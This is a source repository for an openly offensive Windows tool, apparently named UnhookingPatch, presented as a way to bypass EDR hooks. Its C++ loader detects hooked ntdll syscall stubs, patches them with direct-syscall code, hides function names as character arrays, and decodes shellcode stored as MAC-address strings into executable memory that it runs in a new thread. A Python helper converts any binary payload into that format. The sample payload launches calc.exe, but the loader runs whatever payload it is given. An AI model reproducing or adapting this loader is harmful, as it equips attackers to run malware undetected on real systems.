├── LICENSE ├── PatchingAPI ├── PatchingAPI.cpp ├── PatchingAPI.sln ├── PatchingAPI.vcxproj ├── PatchingAPI.vcxproj.filters └── PatchingAPI.vcxproj.user ├── README.md ├── bin2mac.py └── calc.bin /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 SAAD AHLA 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /PatchingAPI/PatchingAPI.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #pragma comment(lib, "ntdll") 7 | 8 | #define NtCurrentProcess() ((HANDLE)-1) 9 | 10 | #define _CRT_SECURE_NO_WARNINGS 11 | #pragma warning(disable:4996) 12 | 13 | #pragma comment(lib, "Rpcrt4.lib") 14 | 15 | #ifndef NT_SUCCESS 16 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 17 | #endif 18 | 19 | #define UP -32 20 | #define DOWN 32 21 | 22 | 23 | EXTERN_C NTSTATUS NtAllocateVirtualMemory( 24 | HANDLE ProcessHandle, 25 | PVOID* BaseAddress, 26 | ULONG_PTR ZeroBits, 27 | PSIZE_T RegionSize, 28 | ULONG AllocationType, 29 | ULONG Protect 30 | ); 31 | 32 | EXTERN_C NTSTATUS NtProtectVirtualMemory( 33 | IN HANDLE ProcessHandle, 34 | IN OUT PVOID* BaseAddress, 35 | IN OUT PSIZE_T RegionSize, 36 | IN ULONG NewProtect, 37 | OUT PULONG OldProtect); 38 | 39 | 40 | 41 | EXTERN_C NTSTATUS NtCreateThreadEx( 42 | OUT PHANDLE hThread, 43 | IN ACCESS_MASK DesiredAccess, 44 | IN PVOID ObjectAttributes, 45 | IN HANDLE ProcessHandle, 46 | IN PVOID lpStartAddress, 47 | IN PVOID lpParameter, 48 | IN ULONG Flags, 49 | IN SIZE_T StackZeroBits, 50 | IN SIZE_T SizeOfStackCommit, 51 | IN SIZE_T SizeOfStackReserve, 52 | OUT PVOID lpBytesBuffer 53 | ); 54 | 55 | EXTERN_C NTSTATUS NtWaitForSingleObject( 56 | IN HANDLE Handle, 57 | IN BOOLEAN Alertable, 58 | IN PLARGE_INTEGER Timeout 59 | ); 60 | 61 | 62 | struct LDR_MODULE { 63 | LIST_ENTRY e[3]; 64 | HMODULE base; 65 | void* entry; 66 | UINT size; 67 | UNICODE_STRING dllPath; 68 | UNICODE_STRING dllname; 69 | }; 70 | 71 | 72 | 73 | BOOL isItHooked(LPVOID addr) { 74 | BYTE stub[] = "\x4c\x8b\xd1\xb8"; 75 | if (memcmp(addr, stub, 4) != 0) 76 | return TRUE; 77 | return FALSE; 78 | } 79 | 80 | 81 | WORD GetsyscallNum(LPVOID addr) { 82 | 83 | 84 | WORD syscall = NULL; 85 | 86 | if (*((PBYTE)addr) == 0x4c 87 | && *((PBYTE)addr + 1) == 0x8b 88 | && *((PBYTE)addr + 2) == 0xd1 89 | && *((PBYTE)addr + 3) == 0xb8 90 | && *((PBYTE)addr + 6) == 0x00 91 | && *((PBYTE)addr + 7) == 0x00) { 92 | 93 | BYTE high = *((PBYTE)addr + 5); 94 | BYTE low = *((PBYTE)addr + 4); 95 | syscall = (high << 8) | low; 96 | 97 | return syscall; 98 | 99 | } 100 | 101 | if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 || 102 | *((PBYTE)addr + 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) { 103 | 104 | for (WORD idx = 1; idx <= 500; idx++) { 105 | if (*((PBYTE)addr + idx * DOWN) == 0x4c 106 | && *((PBYTE)addr + 1 + idx * DOWN) == 0x8b 107 | && *((PBYTE)addr + 2 + idx * DOWN) == 0xd1 108 | && *((PBYTE)addr + 3 + idx * DOWN) == 0xb8 109 | && *((PBYTE)addr + 6 + idx * DOWN) == 0x00 110 | && *((PBYTE)addr + 7 + idx * DOWN) == 0x00) { 111 | BYTE high = *((PBYTE)addr + 5 + idx * DOWN); 112 | BYTE low = *((PBYTE)addr + 4 + idx * DOWN); 113 | syscall = (high << 8) | low - idx; 114 | 115 | return syscall; 116 | } 117 | if (*((PBYTE)addr + idx * UP) == 0x4c 118 | && *((PBYTE)addr + 1 + idx * UP) == 0x8b 119 | && *((PBYTE)addr + 2 + idx * UP) == 0xd1 120 | && *((PBYTE)addr + 3 + idx * UP) == 0xb8 121 | && *((PBYTE)addr + 6 + idx * UP) == 0x00 122 | && *((PBYTE)addr + 7 + idx * UP) == 0x00) { 123 | BYTE high = *((PBYTE)addr + 5 + idx * UP); 124 | BYTE low = *((PBYTE)addr + 4 + idx * UP); 125 | 126 | syscall = (high << 8) | low + idx; 127 | 128 | return syscall; 129 | 130 | } 131 | 132 | } 133 | 134 | } 135 | } 136 | 137 | DWORD64 GetsyscallInstr(LPVOID addr) { 138 | 139 | 140 | WORD syscall = NULL; 141 | 142 | if (*((PBYTE)addr) == 0x4c 143 | && *((PBYTE)addr + 1) == 0x8b 144 | && *((PBYTE)addr + 2) == 0xd1 145 | && *((PBYTE)addr + 3) == 0xb8 146 | && *((PBYTE)addr + 6) == 0x00 147 | && *((PBYTE)addr + 7) == 0x00) { 148 | 149 | return (INT_PTR)addr + 0x12; // syscall 150 | 151 | } 152 | 153 | if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 || 154 | *((PBYTE)addr + 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) { 155 | 156 | for (WORD idx = 1; idx <= 500; idx++) { 157 | if (*((PBYTE)addr + idx * DOWN) == 0x4c 158 | && *((PBYTE)addr + 1 + idx * DOWN) == 0x8b 159 | && *((PBYTE)addr + 2 + idx * DOWN) == 0xd1 160 | && *((PBYTE)addr + 3 + idx * DOWN) == 0xb8 161 | && *((PBYTE)addr + 6 + idx * DOWN) == 0x00 162 | && *((PBYTE)addr + 7 + idx * DOWN) == 0x00) { 163 | 164 | return (INT_PTR)addr + 0x12; 165 | } 166 | if (*((PBYTE)addr + idx * UP) == 0x4c 167 | && *((PBYTE)addr + 1 + idx * UP) == 0x8b 168 | && *((PBYTE)addr + 2 + idx * UP) == 0xd1 169 | && *((PBYTE)addr + 3 + idx * UP) == 0xb8 170 | && *((PBYTE)addr + 6 + idx * UP) == 0x00 171 | && *((PBYTE)addr + 7 + idx * UP) == 0x00) { 172 | 173 | return (INT_PTR)addr + 0x12; 174 | 175 | } 176 | 177 | } 178 | 179 | } 180 | 181 | } 182 | 183 | 184 | BOOL UnhookPatch(LPVOID addr) { 185 | 186 | DWORD oldprotect = 0; 187 | 188 | BYTE syscallNum = GetsyscallNum(addr); 189 | DWORD64 syscallInst = GetsyscallInstr(addr); 190 | 191 | // mov r10, rcx 192 | // mov eax, SSN 193 | // syscall 194 | // retn 195 | 196 | BYTE patch[] = { 0x49, 0x89, 0xCA, 0xB8, 0xBC, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3, 0x90, 0x90, 0x90, 0x90 }; 197 | 198 | // syscall 199 | patch[4] = syscallNum; 200 | 201 | // syscall instruction 202 | patch[8] = *(BYTE*)syscallInst; 203 | patch[9] = *(BYTE*)(syscallInst + 0x1); 204 | 205 | BOOL status1 = VirtualProtect(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); 206 | if (!status1) { 207 | printf("Failed in changing protection (%u)\n", GetLastError()); 208 | return FALSE; 209 | } 210 | 211 | memcpy(addr, patch, sizeof(patch)); 212 | 213 | 214 | BOOL status2 = VirtualProtect(addr, 4096, oldprotect, &oldprotect); 215 | if (!status2) { 216 | printf("Failed in changing protection back (%u)\n", GetLastError()); 217 | return FALSE; 218 | } 219 | return TRUE; 220 | } 221 | 222 | int main() { 223 | 224 | 225 | 226 | PVOID BaseAddress = NULL; 227 | SIZE_T dwSize = 0x2000; 228 | 229 | 230 | const char* MAC[] = 231 | { 232 | "FC-48-83-E4-F0-E8", 233 | "C0-00-00-00-41-51", 234 | "41-50-52-51-56-48", 235 | "31-D2-65-48-8B-52", 236 | "60-48-8B-52-18-48", 237 | "8B-52-20-48-8B-72", 238 | "50-48-0F-B7-4A-4A", 239 | "4D-31-C9-48-31-C0", 240 | "AC-3C-61-7C-02-2C", 241 | "20-41-C1-C9-0D-41", 242 | "01-C1-E2-ED-52-41", 243 | "51-48-8B-52-20-8B", 244 | "42-3C-48-01-D0-8B", 245 | "80-88-00-00-00-48", 246 | "85-C0-74-67-48-01", 247 | "D0-50-8B-48-18-44", 248 | "8B-40-20-49-01-D0", 249 | "E3-56-48-FF-C9-41", 250 | "8B-34-88-48-01-D6", 251 | "4D-31-C9-48-31-C0", 252 | "AC-41-C1-C9-0D-41", 253 | "01-C1-38-E0-75-F1", 254 | "4C-03-4C-24-08-45", 255 | "39-D1-75-D8-58-44", 256 | "8B-40-24-49-01-D0", 257 | "66-41-8B-0C-48-44", 258 | "8B-40-1C-49-01-D0", 259 | "41-8B-04-88-48-01", 260 | "D0-41-58-41-58-5E", 261 | "59-5A-41-58-41-59", 262 | "41-5A-48-83-EC-20", 263 | "41-52-FF-E0-58-41", 264 | "59-5A-48-8B-12-E9", 265 | "57-FF-FF-FF-5D-48", 266 | "BA-01-00-00-00-00", 267 | "00-00-00-48-8D-8D", 268 | "01-01-00-00-41-BA", 269 | "31-8B-6F-87-FF-D5", 270 | "BB-E0-1D-2A-0A-41", 271 | "BA-A6-95-BD-9D-FF", 272 | "D5-48-83-C4-28-3C", 273 | "06-7C-0A-80-FB-E0", 274 | "75-05-BB-47-13-72", 275 | "6F-6A-00-59-41-89", 276 | "DA-FF-D5-63-61-6C", 277 | "63-2E-65-78-65-00", 278 | }; 279 | 280 | 281 | const char ntdll[] = { 'n','t','d','l','l','.','d','l','l', 0 }; 282 | const char NtAlloc[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y', 0 }; 283 | 284 | LPVOID pNtAlloc = GetProcAddress(GetModuleHandleA(ntdll), NtAlloc); 285 | 286 | 287 | if (isItHooked(pNtAlloc)) { 288 | printf("[-] NtAllocateVirtualMemory Hooked\n"); 289 | if (!UnhookPatch(pNtAlloc)) { 290 | printf("Failed in Unhooking NtCreateThreadEx\n"); 291 | } 292 | printf("\t[+] NtCreateThreadEx UnHooked\n"); 293 | 294 | } 295 | else { 296 | printf("[+] NtAllocateVirtualMemory Not Hooked\n"); 297 | } 298 | 299 | 300 | 301 | 302 | NTSTATUS status1 = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 303 | if (!NT_SUCCESS(status1)) { 304 | printf("[!] Failed in NtAllocateVirtualMemory (%u)\n", GetLastError()); 305 | return 1; 306 | } 307 | 308 | 309 | int rowLen = sizeof(MAC) / sizeof(MAC[0]); 310 | PCSTR Terminator = NULL; 311 | NTSTATUS STATUS; 312 | 313 | DWORD_PTR ptr = (DWORD_PTR)BaseAddress; 314 | for (int i = 0; i < rowLen; i++) { 315 | STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr); 316 | if (!NT_SUCCESS(STATUS)) { 317 | return FALSE; 318 | } 319 | ptr += 6; 320 | 321 | } 322 | 323 | HANDLE hThread; 324 | DWORD OldProtect = 0; 325 | 326 | 327 | const char NtProtect[] = { 'N','t','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y', 0 }; 328 | 329 | LPVOID pNtProtect = GetProcAddress(GetModuleHandleA(ntdll), NtProtect); 330 | 331 | if (isItHooked(pNtProtect)) { 332 | printf("[-] NtProtectVirtualMemory Hooked\n"); 333 | if (!UnhookPatch(pNtProtect)) { 334 | printf("Failed in Unhooking NtCreateThreadEx\n"); 335 | } 336 | printf("\t[+] NtCreateThreadEx UnHooked\n"); 337 | } 338 | else { 339 | printf("[+] NtProtectVirtualMemory Not Hooked\n"); 340 | } 341 | 342 | 343 | NTSTATUS NtProtectStatus1 = NtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect); 344 | if (!NT_SUCCESS(NtProtectStatus1)) { 345 | printf("[!] Failed in sysNtProtectVirtualMemory1 (%u)\n", GetLastError()); 346 | return 2; 347 | } 348 | 349 | 350 | HANDLE hHostThread = INVALID_HANDLE_VALUE; 351 | 352 | const char NtCreateTh[] = { 'N','t','C','r','e','a','t','e','T','h','r','e','a','d','E','x', 0 }; 353 | 354 | 355 | 356 | LPVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleA(ntdll), NtCreateTh); 357 | if (isItHooked(pNtCreateThreadEx)) { 358 | printf("[-] NtCreateThreadEx Hooked\n"); 359 | if (!UnhookPatch(pNtCreateThreadEx)) { 360 | printf("Failed in Unhooking NtCreateThreadEx\n"); 361 | } 362 | printf("\t[+] NtCreateThreadEx UnHooked\n"); 363 | 364 | } 365 | else { 366 | printf("[+] NtCreateThreadEx Not Hooked\n"); 367 | } 368 | 369 | 370 | NTSTATUS NtCreateThreadstatus = NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL); 371 | if (!NT_SUCCESS(NtCreateThreadstatus)) { 372 | printf("[!] Failed in sysNtCreateThreadEx (%u)\n", GetLastError()); 373 | return 3; 374 | } 375 | 376 | 377 | 378 | LARGE_INTEGER Timeout; 379 | Timeout.QuadPart = -10000000; 380 | 381 | 382 | 383 | const char NtWait[] = { 'N','t','W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t', 0 }; 384 | 385 | LPVOID pNtWait = GetProcAddress(GetModuleHandleA(ntdll), NtWait); 386 | 387 | if (isItHooked(pNtWait)) { 388 | printf("[-] NtWaitForSingleObject Hooked\n"); 389 | if (!UnhookPatch(pNtWait)) { 390 | printf("Failed in Unhooking NtWaitForSingleObject\n"); 391 | } 392 | printf("\t[+] NtWaitForSingleObject UnHooked\n"); 393 | } 394 | else { 395 | printf("[+] NtWaitForSingleObject Not Hooked\n"); 396 | } 397 | 398 | 399 | NTSTATUS NTWFSOstatus = NtWaitForSingleObject(hHostThread, FALSE, &Timeout); 400 | if (!NT_SUCCESS(NTWFSOstatus)) { 401 | printf("[!] Failed in sysNtWaitForSingleObject (%u)\n", GetLastError()); 402 | return 4; 403 | } 404 | 405 | printf("[+] Finished !!!!\n"); 406 | 407 | return 0; 408 | 409 | } -------------------------------------------------------------------------------- /PatchingAPI/PatchingAPI.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.32106.194 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PatchingAPI", "PatchingAPI.vcxproj", "{81E60DC6-694E-4F51-88FA-6F481B9A4208}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Debug|x64.ActiveCfg = Debug|x64 17 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Debug|x64.Build.0 = Debug|x64 18 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Debug|x86.ActiveCfg = Debug|Win32 19 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Debug|x86.Build.0 = Debug|Win32 20 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Release|x64.ActiveCfg = Release|x64 21 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Release|x64.Build.0 = Release|x64 22 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Release|x86.ActiveCfg = Release|Win32 23 | {81E60DC6-694E-4F51-88FA-6F481B9A4208}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {C4C56CBC-05A3-4229-8BCC-D84AB88A8268} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /PatchingAPI/PatchingAPI.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {81e60dc6-694e-4f51-88fa-6f481b9a4208} 25 | PatchingAPI 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /PatchingAPI/PatchingAPI.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /PatchingAPI/PatchingAPI.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # UnhookingPatch 2 | Bypass EDR Hooks by patching NT API stub, and resolving SSNs and syscall instructions at runtime 3 | 4 | ![image](https://raw.githubusercontent.com/illegal-instruction-co/UnhookingPatch/main/assets/view.jpg) 5 | 6 | 7 | ## How do i convert binary to MAC ? 8 | 9 | Requirements: 10 | 1. macaddress 11 | 12 | ``` 13 | pip install macaddress 14 | ./bin2mac.py calc.bin 15 | ``` 16 | 17 | -------------------------------------------------------------------------------- /bin2mac.py: -------------------------------------------------------------------------------- 1 | from macaddress import MAC 2 | import sys 3 | 4 | if len(sys.argv) < 2: 5 | print("Usage: %s " % sys.argv[0]) 6 | sys.exit(1) 7 | 8 | with open(sys.argv[1], "rb") as f: 9 | chunk = f.read(6) 10 | print("{}const char* MAC[] =".format(' '*4)) 11 | print(" {") 12 | while chunk: 13 | if len(chunk) < 6: 14 | padding = 6 - len(chunk) 15 | chunk = chunk + (b"\x90" * padding) 16 | print("{}\"{}\"".format(' '*8,MAC(chunk))) 17 | break 18 | print("{}\"{}\",".format(' '*8,MAC(chunk))) 19 | chunk = f.read(6) 20 | print(" };") 21 | -------------------------------------------------------------------------------- /calc.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaadAhla/UnhookingPatch/35fa0a18095861b5caac8d5f25d56c09081c2d6e/calc.bin --------------------------------------------------------------------------------